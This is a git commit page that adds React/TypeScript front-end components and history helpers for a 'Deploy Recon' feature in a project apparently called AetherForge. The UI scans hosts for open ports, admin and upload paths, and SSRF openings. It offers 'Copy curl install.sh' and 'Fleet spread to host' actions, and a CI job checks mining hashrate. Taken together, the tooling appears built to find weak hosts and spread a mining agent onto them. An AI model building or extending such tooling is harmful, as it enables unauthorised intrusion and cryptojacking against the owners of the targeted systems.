Deploy Recon UI: consume new recon APIs with streaming results and action matrix
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
AetherForge
383
server/web/src/components/Recon/DeployReconPanels.tsx
Normal file
383
server/web/src/components/Recon/DeployReconPanels.tsx
Normal file
@@ -0,0 +1,383 @@
|
||||
import { memo, useEffect, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import {
|
||||
FLEET_SPREAD_PORTS,
|
||||
PORT_BUNDLES,
|
||||
RECON_PORT_HINTS,
|
||||
SCAN_PROFILES,
|
||||
crucibleSpreadLink,
|
||||
curlInstallLine,
|
||||
type PortBundleId,
|
||||
type ScanProfileId,
|
||||
} from '../../help/deployRecon';
|
||||
import type {
|
||||
ReconActionRow,
|
||||
ReconFormFingerprintCard,
|
||||
} from '../../help/deployRecon';
|
||||
import {
|
||||
buildAdminSurfaceMap,
|
||||
buildFormFingerprintCards,
|
||||
buildTechStackHints,
|
||||
type AdminSurfaceMapRow,
|
||||
} from '../../help/deployRecon';
|
||||
import type {
|
||||
ReconPortBanner,
|
||||
ReconPortResult,
|
||||
ReconScanReport,
|
||||
ReconSsrfCanaryInfo,
|
||||
ReconStackEntry,
|
||||
ReconWebFindingCard,
|
||||
} from '../../types/recon';
|
||||
import { ssrfCanaryToken } from '../../help/deployRecon';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard?.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
}).catch(() => {});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export const ScanProfileSelector = memo(function ScanProfileSelector({
|
||||
value,
|
||||
onChange,
|
||||
}: {
|
||||
value: ScanProfileId;
|
||||
onChange: (v: ScanProfileId) => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="dr-profile-row" data-testid="dr-scan-profile">
|
||||
<span className="dr-field-label">Scan profile <HelpTip field="dr_scan_profile" /></span>
|
||||
<div className="dr-chip-row">
|
||||
{(Object.keys(SCAN_PROFILES) as ScanProfileId[]).map((id) => (
|
||||
<button
|
||||
key={id}
|
||||
type="button"
|
||||
className={`dr-chip${value === id ? ' active' : ''}`}
|
||||
onClick={() => onChange(id)}
|
||||
title={SCAN_PROFILES[id].detail}
|
||||
>
|
||||
{SCAN_PROFILES[id].label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export const PortBundleSelector = memo(function PortBundleSelector({
|
||||
value,
|
||||
onChange,
|
||||
}: {
|
||||
value: PortBundleId;
|
||||
onChange: (v: PortBundleId) => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="dr-bundle-row" data-testid="dr-port-bundle">
|
||||
<span className="dr-field-label">Port bundle <HelpTip field="dr_port_bundle" /></span>
|
||||
<select className="input" value={value} onChange={(e) => onChange(e.target.value as PortBundleId)}>
|
||||
{(Object.keys(PORT_BUNDLES) as PortBundleId[]).map((id) => (
|
||||
<option key={id} value={id}>
|
||||
{PORT_BUNDLES[id].label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export const StreamingPortMatrix = memo(function StreamingPortMatrix({
|
||||
ports,
|
||||
streaming,
|
||||
onHint,
|
||||
}: {
|
||||
ports: ReconPortResult[];
|
||||
streaming?: boolean;
|
||||
onHint: (hint: string) => void;
|
||||
}) {
|
||||
return (
|
||||
<div data-testid="dr-port-matrix" className={streaming ? 'dr-port-matrix-streaming' : ''}>
|
||||
<h3 className="dr-section-title">
|
||||
Port matrix <HelpTip field="dr_port_matrix" />
|
||||
</h3>
|
||||
<div className="dr-port-matrix">
|
||||
{ports.map((p) => (
|
||||
<button
|
||||
key={p.port}
|
||||
type="button"
|
||||
className={`dr-port-cell${p.open ? ' open' : ''}${streaming && !p.open ? ' pending' : ''}`}
|
||||
disabled={!p.open}
|
||||
title={p.open ? RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open` : `TCP ${p.port} closed`}
|
||||
onClick={() => {
|
||||
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
|
||||
}}
|
||||
>
|
||||
{p.port}
|
||||
{p.open ? ' ●' : ' ○'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export const BannerGrabPanel = memo(function BannerGrabPanel({ banners }: { banners: ReconPortBanner[] }) {
|
||||
if (!banners?.length) return null;
|
||||
return (
|
||||
<section className="dr-banner-panel" data-testid="dr-banner-grab">
|
||||
<h3 className="dr-section-title">Banner grab <HelpTip field="dr_banner_grab" /></h3>
|
||||
<ul className="dr-banner-list">
|
||||
{banners.map((b) => (
|
||||
<li key={b.port} className="dr-banner-item">
|
||||
<span className="font-tech">:{b.port}</span>
|
||||
{b.service ? <span className="dr-banner-svc">{b.service}</span> : null}
|
||||
{b.title ? <span className="dr-banner-title">{b.title}</span> : null}
|
||||
{b.banner ? <code className="dr-banner-code">{b.banner}</code> : null}
|
||||
{b.hint ? <span className="dr-banner-hint">{b.hint}</span> : null}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const FormFingerprintCards = memo(function FormFingerprintCards({
|
||||
cards,
|
||||
}: {
|
||||
cards: ReconFormFingerprintCard[];
|
||||
}) {
|
||||
if (cards.length === 0) return null;
|
||||
return (
|
||||
<section data-testid="dr-form-fingerprint">
|
||||
<h3 className="dr-section-title">Form fingerprints <HelpTip field="dr_form_fingerprint" /></h3>
|
||||
<div className="dr-fp-grid">
|
||||
{cards.map((c) => (
|
||||
<article key={c.id} className="dr-fp-card">
|
||||
<div className="dr-fp-head">
|
||||
<span className="font-tech">{c.name}</span>
|
||||
<span className="dr-fp-score">score {c.score}</span>
|
||||
</div>
|
||||
<p className="dr-fp-url">{c.page_url}</p>
|
||||
{c.matches.length ? <p className="dr-fp-matches">{c.matches.join(' · ')}</p> : null}
|
||||
<CopyChip text={c.paste_target} label="Copy paste target" />
|
||||
</article>
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const SsrfCanaryPanel = memo(function SsrfCanaryPanel({
|
||||
canary,
|
||||
scanId,
|
||||
wsHitScanId,
|
||||
}: {
|
||||
canary?: ReconSsrfCanaryInfo;
|
||||
scanId?: string;
|
||||
wsHitScanId?: string | null;
|
||||
}) {
|
||||
const token = ssrfCanaryToken(canary?.scan_id || scanId || '');
|
||||
const [status, setStatus] = useState(canary?.status ?? 'pending');
|
||||
const [hitAt, setHitAt] = useState(canary?.hit_at);
|
||||
|
||||
useEffect(() => {
|
||||
if (canary?.status) setStatus(canary.status);
|
||||
if (canary?.hit_at) setHitAt(canary.hit_at);
|
||||
}, [canary]);
|
||||
|
||||
useEffect(() => {
|
||||
if (wsHitScanId && token && wsHitScanId === token) {
|
||||
setStatus('confirmed');
|
||||
setHitAt(new Date().toISOString());
|
||||
}
|
||||
}, [wsHitScanId, token]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!token || status === 'confirmed') return undefined;
|
||||
const timer = setInterval(() => {
|
||||
void api.getSsrfCanaryStatus(token).then((info) => {
|
||||
if (!info) return;
|
||||
setStatus(info.status);
|
||||
if (info.hit_at) setHitAt(info.hit_at);
|
||||
});
|
||||
}, 4000);
|
||||
return () => clearInterval(timer);
|
||||
}, [token, status]);
|
||||
|
||||
const url = canary?.url;
|
||||
if (!url && !token) return null;
|
||||
|
||||
return (
|
||||
<section className="dr-canary-panel" data-testid="dr-ssrf-canary">
|
||||
<h3 className="dr-section-title">
|
||||
SSRF canary <HelpTip field="dr_ssrf_canary" />
|
||||
<span className={`dr-canary-badge ${status}`}>{status}</span>
|
||||
</h3>
|
||||
{url ? <CopyChip text={url} label="Copy canary URL" /> : null}
|
||||
{hitAt ? <p className="dr-canary-hit">Hit at {hitAt}</p> : null}
|
||||
{canary?.paste_field_name ? (
|
||||
<p className="dr-empty">Paste into field: {canary.paste_field_name}</p>
|
||||
) : null}
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const UploadAdminMap = memo(function UploadAdminMap({ rows }: { rows: AdminSurfaceMapRow[] }) {
|
||||
if (!rows.length) return null;
|
||||
return (
|
||||
<section data-testid="dr-upload-admin-map">
|
||||
<h3 className="dr-section-title">Upload / admin map <HelpTip field="dr_upload_admin_map" /></h3>
|
||||
<table className="dr-admin-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Path</th>
|
||||
<th>Status</th>
|
||||
<th>Signal</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((r) => (
|
||||
<tr key={r.url}>
|
||||
<td>
|
||||
<a href={r.url} target="_blank" rel="noreferrer">
|
||||
{r.path}
|
||||
</a>
|
||||
</td>
|
||||
<td>{r.status_code}</td>
|
||||
<td>{r.signal}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const TechStackBanner = memo(function TechStackBanner({ stack }: { stack: ReconStackEntry[] }) {
|
||||
if (!stack.length) return null;
|
||||
return (
|
||||
<section data-testid="dr-tech-stack">
|
||||
<h3 className="dr-section-title">Tech stack <HelpTip field="dr_tech_stack" /></h3>
|
||||
<ul className="dr-stack-list">
|
||||
{stack.map((e) => (
|
||||
<li key={`${e.name}-${e.source}`}>
|
||||
<strong>{e.name}</strong>
|
||||
<span className="dr-stack-src">{e.source}</span>
|
||||
{e.detail ? <span className="dr-stack-detail">{e.detail}</span> : null}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const ActionMatrix = memo(function ActionMatrix({
|
||||
rows,
|
||||
onOpenPlaybook,
|
||||
}: {
|
||||
rows: ReconActionRow[];
|
||||
onOpenPlaybook?: (lane: string) => void;
|
||||
}) {
|
||||
if (!rows.length) return null;
|
||||
return (
|
||||
<section data-testid="dr-action-matrix">
|
||||
<h3 className="dr-section-title">Action matrix <HelpTip field="dr_action_matrix" /></h3>
|
||||
<table className="dr-action-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Lane</th>
|
||||
<th>Reason</th>
|
||||
<th>Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((r) => (
|
||||
<tr key={r.id}>
|
||||
<td className="font-tech">{r.title}</td>
|
||||
<td>{r.reason}</td>
|
||||
<td>
|
||||
<div className="dr-action-chips">
|
||||
{r.actions.map((a) => (
|
||||
<button
|
||||
key={a}
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => {
|
||||
if (a === 'playbook' && onOpenPlaybook) onOpenPlaybook(r.lane);
|
||||
}}
|
||||
>
|
||||
{a}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const FindingCard = memo(function FindingCard({
|
||||
card,
|
||||
curlLine,
|
||||
host,
|
||||
fleetSpreadOpen,
|
||||
deployKitLane,
|
||||
}: {
|
||||
card: ReconWebFindingCard;
|
||||
curlLine: string;
|
||||
host: string;
|
||||
fleetSpreadOpen: boolean;
|
||||
deployKitLane?: string;
|
||||
}) {
|
||||
const finding = deployKitLane || card.spread_lane;
|
||||
return (
|
||||
<article className="dr-finding-card" data-testid={`dr-finding-${card.id}`}>
|
||||
<div className="dr-finding-head">
|
||||
<span className="dr-finding-title">{card.title}</span>
|
||||
<span className={`dr-confidence ${card.confidence}`}>{card.confidence}</span>
|
||||
{card.spread_lane ? <span className="join-lane-badge">{card.spread_lane}</span> : null}
|
||||
</div>
|
||||
<p className="dr-finding-detail">{card.detail}</p>
|
||||
{card.mermaid ? <pre className="dr-mermaid">{card.mermaid}</pre> : null}
|
||||
<div className="dr-deploy-panel">
|
||||
<CopyChip text={curlLine} label="Copy curl install.sh" />
|
||||
{card.probe_url ? <CopyChip text={card.probe_url} label="Copy SSRF probe URL" /> : null}
|
||||
{fleetSpreadOpen ? (
|
||||
<Link to={crucibleSpreadLink(host, finding)} className="btn btn-outline btn-sm">
|
||||
Fleet spread to {host}
|
||||
</Link>
|
||||
) : null}
|
||||
</div>
|
||||
</article>
|
||||
);
|
||||
});
|
||||
|
||||
export function useDeployReconDerived(report: ReconScanReport | null, deckOrigin: string) {
|
||||
return useMemo(() => {
|
||||
if (!report) {
|
||||
return {
|
||||
fingerprintCards: [] as ReconFormFingerprintCard[],
|
||||
adminRows: [] as AdminSurfaceMapRow[],
|
||||
stack: [] as ReconStackEntry[],
|
||||
};
|
||||
}
|
||||
return {
|
||||
fingerprintCards: buildFormFingerprintCards(report, deckOrigin),
|
||||
adminRows: buildAdminSurfaceMap(report),
|
||||
stack: buildTechStackHints(report),
|
||||
};
|
||||
}, [report, deckOrigin]);
|
||||
}
|
||||
|
||||
69
server/web/src/components/Recon/HistoryPanel.tsx
Normal file
69
server/web/src/components/Recon/HistoryPanel.tsx
Normal file
@@ -0,0 +1,69 @@
|
||||
import { memo, useCallback, useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import { loadReconHistory, openPortsSignature } from '../../help/reconHistory';
|
||||
import type { ReconHistoryEntry } from '../../types/recon';
|
||||
|
||||
export default memo(function HistoryPanel({
|
||||
host,
|
||||
onSelect,
|
||||
}: {
|
||||
host: string;
|
||||
onSelect?: (entry: ReconHistoryEntry) => void;
|
||||
}) {
|
||||
const [entries, setEntries] = useState<ReconHistoryEntry[]>([]);
|
||||
const [loading, setLoading] = useState(false);
|
||||
|
||||
const refresh = useCallback(async () => {
|
||||
setLoading(true);
|
||||
try {
|
||||
const server = await api.getReconHistory();
|
||||
const local = await loadReconHistory(host.trim() || undefined);
|
||||
const map = new Map<string, ReconHistoryEntry>();
|
||||
for (const e of [...(server?.entries ?? []), ...local]) {
|
||||
if (host.trim() && e.host.trim() !== host.trim()) continue;
|
||||
map.set(e.scan_id, e);
|
||||
}
|
||||
setEntries([...map.values()].sort((a, b) => b.scanned_at.localeCompare(a.scanned_at)));
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, [host]);
|
||||
|
||||
useEffect(() => {
|
||||
void refresh();
|
||||
}, [refresh]);
|
||||
|
||||
return (
|
||||
<section className="neon-card dr-history" data-testid="dr-history-panel">
|
||||
<div className="dr-fleet-head">
|
||||
<h2 className="dr-section-title" style={{ margin: 0 }}>
|
||||
Scan history <HelpTip field="dr_history" />
|
||||
</h2>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void refresh()}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{loading ? <p className="dr-empty">Loading history…</p> : null}
|
||||
{!loading && entries.length === 0 ? (
|
||||
<p className="dr-empty">No prior scans{host.trim() ? ` for ${host.trim()}` : ''}.</p>
|
||||
) : null}
|
||||
<ul className="dr-history-list">
|
||||
{entries.map((e) => (
|
||||
<li key={e.scan_id}>
|
||||
<button
|
||||
type="button"
|
||||
className="dr-history-item"
|
||||
onClick={() => onSelect?.(e)}
|
||||
>
|
||||
<span className="font-tech">{e.host}</span>
|
||||
<span className="dr-history-meta">
|
||||
{e.profile || 'scan'} · {new Date(e.scanned_at).toLocaleString()} · ports {openPortsSignature(e.report)}
|
||||
</span>
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
48
server/web/src/components/Recon/PlaybookWizardModal.tsx
Normal file
48
server/web/src/components/Recon/PlaybookWizardModal.tsx
Normal file
@@ -0,0 +1,48 @@
|
||||
import { memo } from 'react';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import type { PlaybookTreeNode } from '../../help/deployRecon';
|
||||
|
||||
export default memo(function PlaybookWizardModal({
|
||||
open,
|
||||
onClose,
|
||||
tree,
|
||||
focusLane,
|
||||
}: {
|
||||
open: boolean;
|
||||
onClose: () => void;
|
||||
tree: PlaybookTreeNode[];
|
||||
focusLane?: string;
|
||||
}) {
|
||||
if (!open) return null;
|
||||
const root = tree[0];
|
||||
return (
|
||||
<div className="dr-modal-backdrop" role="dialog" aria-modal="true" data-testid="dr-playbook-modal">
|
||||
<div className="dr-modal">
|
||||
<div className="dr-modal-head">
|
||||
<h2>Playbook wizard <HelpTip field="dr_playbook_wizard" /></h2>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
|
||||
Close
|
||||
</button>
|
||||
</div>
|
||||
{root ? (
|
||||
<div className="dr-playbook-tree">
|
||||
<p className="dr-playbook-root">
|
||||
Target <span className="font-tech">{root.label}</span>
|
||||
</p>
|
||||
<ul>
|
||||
{(root.children ?? []).map((node) => (
|
||||
<li key={node.id} className={focusLane === node.id ? 'focused' : ''}>
|
||||
<a href={node.href} target="_blank" rel="noreferrer">
|
||||
{node.label}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
) : (
|
||||
<p className="dr-empty">Run a scan to populate spread lanes.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
43
server/web/src/help/reconHistory.test.ts
Normal file
43
server/web/src/help/reconHistory.test.ts
Normal file
@@ -0,0 +1,43 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
diffReconReports,
|
||||
exportReconJson,
|
||||
openPortsSignature,
|
||||
saveReconHistoryEntry,
|
||||
} from './reconHistory';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
const base: ReconScanReport = {
|
||||
host: '10.0.0.5',
|
||||
scan_id: 's1',
|
||||
scanned_at: '2026-06-07T10:00:00Z',
|
||||
ports: [{ port: 80, open: true }],
|
||||
};
|
||||
|
||||
describe('reconHistory', () => {
|
||||
afterEach(() => localStorage.clear());
|
||||
|
||||
it('saves and signs open ports', () => {
|
||||
const entry = saveReconHistoryEntry(base);
|
||||
expect(entry.scan_id).toBe('s1');
|
||||
expect(openPortsSignature(base)).toBe('80');
|
||||
});
|
||||
|
||||
it('diffs port changes', () => {
|
||||
const next = { ...base, ports: [{ port: 80, open: true }, { port: 443, open: true }] };
|
||||
const diffs = diffReconReports(base, next);
|
||||
expect(diffs.some((d) => d.kind === 'port_opened' && d.label.includes('443'))).toBe(true);
|
||||
});
|
||||
|
||||
it('exports JSON without throwing', () => {
|
||||
const click = vi.fn();
|
||||
const create = vi.spyOn(document, 'createElement').mockReturnValue({ click } as unknown as HTMLAnchorElement);
|
||||
exportReconJson(base, 'out.json');
|
||||
expect(click).toHaveBeenCalled();
|
||||
create.mockRestore();
|
||||
});
|
||||
});
|
||||
|
||||
131
server/web/src/help/reconHistory.ts
Normal file
131
server/web/src/help/reconHistory.ts
Normal file
@@ -0,0 +1,131 @@
|
||||
import type { ReconHistoryEntry, ReconScanReport } from '../types/recon';
|
||||
|
||||
const LOCAL_KEY = 'aetherforge.recon.history.v1';
|
||||
const LOCAL_LIMIT = 64;
|
||||
|
||||
export type ReconReportDiffKind =
|
||||
| 'port_opened'
|
||||
| 'port_closed'
|
||||
| 'ssrf_up'
|
||||
| 'ssrf_down'
|
||||
| 'cms_added';
|
||||
|
||||
export interface ReconReportDiff {
|
||||
kind: ReconReportDiffKind;
|
||||
label: string;
|
||||
detail?: string;
|
||||
}
|
||||
|
||||
function normalizeEntry(raw: ReconHistoryEntry & { id?: string }): ReconHistoryEntry {
|
||||
const scan_id = raw.scan_id || raw.id || `${raw.host}-${raw.scanned_at}`;
|
||||
return { ...raw, scan_id, report: raw.report };
|
||||
}
|
||||
|
||||
function readLocalEntries(): ReconHistoryEntry[] {
|
||||
try {
|
||||
const raw = localStorage.getItem(LOCAL_KEY);
|
||||
if (!raw) return [];
|
||||
const parsed = JSON.parse(raw) as { entries?: (ReconHistoryEntry & { id?: string })[] };
|
||||
if (!Array.isArray(parsed.entries)) return [];
|
||||
return parsed.entries.map(normalizeEntry);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
function writeLocalEntries(entries: ReconHistoryEntry[]): void {
|
||||
try {
|
||||
localStorage.setItem(LOCAL_KEY, JSON.stringify({ entries: entries.slice(0, LOCAL_LIMIT) }));
|
||||
} catch {
|
||||
/* quota / private mode */
|
||||
}
|
||||
}
|
||||
|
||||
export function openPortsSignature(report: ReconScanReport): string {
|
||||
return report.ports
|
||||
.filter((p) => p.open)
|
||||
.map((p) => p.port)
|
||||
.sort((a, b) => a - b)
|
||||
.join(',');
|
||||
}
|
||||
|
||||
export async function loadReconHistory(host?: string): Promise<ReconHistoryEntry[]> {
|
||||
const local = readLocalEntries();
|
||||
if (!host?.trim()) {
|
||||
return local;
|
||||
}
|
||||
const trimmed = host.trim();
|
||||
try {
|
||||
const res = await fetch(`/api/v1/recon/history?host=${encodeURIComponent(trimmed)}`, {
|
||||
headers: { Accept: 'application/json' },
|
||||
credentials: 'include',
|
||||
});
|
||||
if (res.ok) {
|
||||
const body = (await res.json()) as { entries?: ReconHistoryEntry[] } | ReconHistoryEntry[];
|
||||
const server = Array.isArray(body) ? body : body.entries ?? [];
|
||||
if (server.length > 0) {
|
||||
const byId = new Map<string, ReconHistoryEntry>();
|
||||
for (const e of [...local, ...server.map(normalizeEntry)]) {
|
||||
if (e.host.trim() === trimmed) byId.set(e.scan_id, e);
|
||||
}
|
||||
return [...byId.values()].sort((a, b) => b.scanned_at.localeCompare(a.scanned_at));
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
/* offline */
|
||||
}
|
||||
return local.filter((e) => e.host.trim() === trimmed);
|
||||
}
|
||||
|
||||
export function saveReconHistoryEntry(report: ReconScanReport): ReconHistoryEntry {
|
||||
const scan_id = report.scan_id ?? `${report.host}-${report.scanned_at}`;
|
||||
const entry: ReconHistoryEntry = {
|
||||
scan_id,
|
||||
host: report.host,
|
||||
scanned_at: report.scanned_at,
|
||||
profile: report.profile,
|
||||
status: report.status,
|
||||
report,
|
||||
};
|
||||
const prev = readLocalEntries().filter((e) => e.scan_id !== entry.scan_id);
|
||||
writeLocalEntries([entry, ...prev]);
|
||||
return entry;
|
||||
}
|
||||
|
||||
export function exportReconJson(report: ReconScanReport, filename?: string): void {
|
||||
const blob = new Blob([JSON.stringify(report, null, 2)], { type: 'application/json' });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = filename ?? `recon-${report.host.replace(/[^a-zA-Z0-9._-]+/g, '-')}.json`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
}
|
||||
|
||||
export function diffReconReports(prev: ReconScanReport, next: ReconScanReport): ReconReportDiff[] {
|
||||
const diffs: ReconReportDiff[] = [];
|
||||
const prevPorts = new Map(prev.ports.map((p) => [p.port, p.open]));
|
||||
for (const p of next.ports) {
|
||||
const was = prevPorts.get(p.port);
|
||||
if (was !== true && p.open) {
|
||||
diffs.push({ kind: 'port_opened', label: `TCP ${p.port} opened`, detail: 'Was closed on prior scan.' });
|
||||
} else if (was === true && !p.open) {
|
||||
diffs.push({ kind: 'port_closed', label: `TCP ${p.port} closed`, detail: 'Was open on prior scan.' });
|
||||
}
|
||||
}
|
||||
const prevScore = prev.crawl?.ssrf_score ?? 0;
|
||||
const nextScore = next.crawl?.ssrf_score ?? 0;
|
||||
if (nextScore > prevScore) {
|
||||
diffs.push({ kind: 'ssrf_up', label: 'SSRF score increased', detail: `${prevScore} → ${nextScore}` });
|
||||
} else if (nextScore < prevScore) {
|
||||
diffs.push({ kind: 'ssrf_down', label: 'SSRF score decreased', detail: `${prevScore} → ${nextScore}` });
|
||||
}
|
||||
const prevCms = new Set(prev.crawl?.cms_fingerprints ?? []);
|
||||
for (const cms of next.crawl?.cms_fingerprints ?? []) {
|
||||
if (!prevCms.has(cms)) {
|
||||
diffs.push({ kind: 'cms_added', label: `CMS hint: ${cms}`, detail: 'New fingerprint vs prior scan.' });
|
||||
}
|
||||
}
|
||||
return diffs;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user